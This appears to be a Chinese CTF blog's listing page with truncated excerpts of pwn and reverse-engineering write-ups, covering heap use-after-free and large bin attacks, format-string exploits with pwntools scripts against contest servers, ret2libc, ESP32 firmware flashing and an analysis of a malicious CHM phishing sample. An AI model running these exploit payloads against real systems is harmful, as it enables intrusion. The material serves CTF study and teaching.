SHCTF二进制部分全解wp
前言第一次打shctf,想着看看题来玩一下,不交wp了。感觉题质量不错,就多看了看。最后也是单靠二进制一路干到了前面。misc和web一点没看就没写wp。一看可以拿个实体证书,故完善一下wp看看能不能留个纪念。顺便来水一篇文章 ps:题目按当时解出顺序排序,且部分题目解出后用ai扩展知识点,看起来比较乱,毕竟有些题也是边学边做的。 PwnLinklist正常菜单题,有uaf,唯一的不同就是全程只能操作紧挨top chunk的堆块,也就是堆顶的堆块,我们要不断的调整指针去达到攻击效果 add函数会申请两个堆块,一个用于head链接,一个用于操作 2.31正常绕过tache 的泄露libc方法先泄露出libc,这里注意一下释放堆的顺序是倒着释放 泄露完libc后观察一下ptr指的是哪个堆,发现申请出的并不是紧挨着的这个堆块。我们需要调整堆分水 通过申请小堆块可以强行吧我们的ptr指针拉会堆顶,接下来就是改got表 我们在申请3个堆块布置攻击结构,先释放chunkC让ptr指向chunkB 此时B->C,堆顶是A,我们通过,edit堆溢出改A的...
Reverse手搓脚本篇
前言最近发现对AI的编写脚本能力越来越依赖,以至于不用ai的时候感觉什么都不会,对程序语言的掌握也只是停留在看的懂的层面。故写此文章来督促和要求自己在遇到Re题以及其他需要编写脚本的题目时候,尽量使用手搓。当然,完全手搓肯定是比较浪费时间的。毕竟在比赛的时候没有那么多时间留出来去慢慢写。所以我们的目标就是,对于一些基础的脚本和标准算法的脚本可以快速实现改造。遇到不同的题可以改为对应可以用的脚本。尽量不依赖ai去生成现有的。这样的一个好处是在线下断网的时候也可以在编写脚本的时候游刃有余 本篇会基于遇到的题目,持续更新。。。。 准备工具以及语法了解这个模块介绍CTF中常用函数库和脚本编写时用到的语法和函数都有哪些 PyCryptodome库 通过 pip install pycryptodome 安装,这个库在CTF经常会使用到,无论是在密码学领域还是在逆向领域,使用都十分频繁 from Crypto.Cipher import AES 从库中导入 AES 算法模块 1. 基本功能 它的核心作用是:将每两个十六进制数字解析为一个字节(Byte,取值范围 $0$ 到 $255$)。...
ISCTF二进制部分wp
个人打的分如下,pwn的heap?没时间看,赛后才发现挺简单的,之前以为要拿fmt构造栈链,后来发现程序有现成的洞可以打,可惜了 pwn部分bad_box1234567891011121314from pwn import *context(os='linux', arch='amd64', log_level='debug')p = remote('challenge.bluesharkinfo.com', 29035)main = 0x401275 # main函数地址shell =0x40125Bexit = 0x403160 # exit的got表# exit = 0x403190pay = fmtstr_payload(8,{exit:shell})#pay = fmtstr_payload(8,{exit:sh})p.recvuntil('fun')p.sendline(pay)p.interactive() ...
ESP32固件烧录与调试
烧录准备工作首先准备好一个esp32固件,一条数据线,一条母对母杜邦线,当然还得有一台电脑 连线连接好线后插电的样子 此时可以线接一头GND,然后另一头线悬空一会接 查看esp32的COM端口 具体流程为在桌面win+x选择设备管理器,进入后查看端口即可 接下来到了烧录程序的环节,一般烧录一个程序需要知道以下三个内容地址,但是对于一般的挑战题来说。会给一个完整的二进制程序。通过xxd也可以检查到。直接进行烧录就行 引导程序 (bootloader.bin) - 地址 0x1000 分区表 (partition-table.bin) - 地址 0x8000 应用程序 (app.bin / 您的 1.bin) - 地址 0x10000 检查一下发现程序从00地址开始就是高电平,所以一个文件就可以完成烧录 执行命令 1esptool.exe --chip esp32 --port COM5 --baud 460800 write_flash 0x0 1.bin 使用指令: 1esptool.exe --chip esp32 --port COM5 --...
格式化字符串漏洞总结
fmt漏洞总结之前学的格式化字符串漏洞十分散乱,故写一篇文章来总结目前遇到的格式化字符串利用方式。我会通过知识点加例题的方式来 格式化字符串漏洞常用探测payload 1AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p 2.2 格式化字符串攻击技术 泄露栈数据: 使用 %x、%p 等 任意地址读: 使用 %s 任意地址写: 使用 %n ← 本题使用! printf函数机制 1234567891011121314printf函数通过解析格式化字符串来决定如何从栈中读取参数:栈布局示例:+------------------+| 返回地址 |+------------------+| 格式化字符串指针 | ← printf的第1个参数+------------------+| 参数1 | ← %x读取这里+------------------+| 参数2 | ← %x %x读取这里+------------------+| ... ...
large bin attack学习
large bin attack large bin attack原理 Glibc 在将一个 chunk 插入 Large Bin 时,会尝试将它链入已有的 chunk 链表中。如果我们将已有 chunk (Chunk 0) 的 bk_nextsize 指针修改为 TargetAddr - 0x20,由于链表操作逻辑: victim->bk_nextsize->fd_nextsize = new_chunk 系统就会执行: *(TargetAddr - 0x20 + 0x20) = new_chunk 即: *TargetAddr = new_chunk 题目解析:2024年强网拟态初赛正常菜单题,增删改查都有 这里的add函数只能申请大于0x4ff的堆块,由于tache bin的范围在0x80-0x400,所以本题目要用到large bin attack加apple2链子来打 很明显的uaf,可以先泄露出来libc和堆地址 先基本的堆布局,然后就是正常的泄露信息 1234567891011121314151617181920212223add(0,0x520)...
高校网络安全管理运维赛
Phishing 一开始就看到一个奇怪的程序,不知道什么作用,先留着 根据题目描述和文件结构,是一个针对游戏用户的钓鱼攻击: 攻击者诱导用户打开 helpme.chm 帮助文件,然后 CHM文件执行恶意代码,最后 释放DLL文件进行劫持攻击 1hh.exe -decompile extracted helpme.chm 先解压这个chm文件,然后会得到一个html文件test.html文件包含恶意JavaScript代码: 123456789101112<head><script type="text/javascript">function command() { var command = "echo AAAAABogAAAAUgABAAEAAAAABgVLUA...(Base64数据)... > reversed.zip";}</script></head><body onload="command()"><h1&...
newstar week3
pwnfmt and canary先用格式化字符串漏洞泄露canary和栈上的libc_start_main 然后end退出后直接打ret2libc即可 1234567891011121314151617181920212223242526272829303132333435363738from pwn import *from LibcSearcher import *elf = ELF('./fmt')context.log_level = 'debug'context.arch = 'amd64'libc =ELF('./libc.so.6')plt=elf.plt['puts']got=elf.got['puts']ret = 0x000000000040101ap = remote('39.106.48.123', 45277)#p = process(b'./fmt')payload = b'%11$...




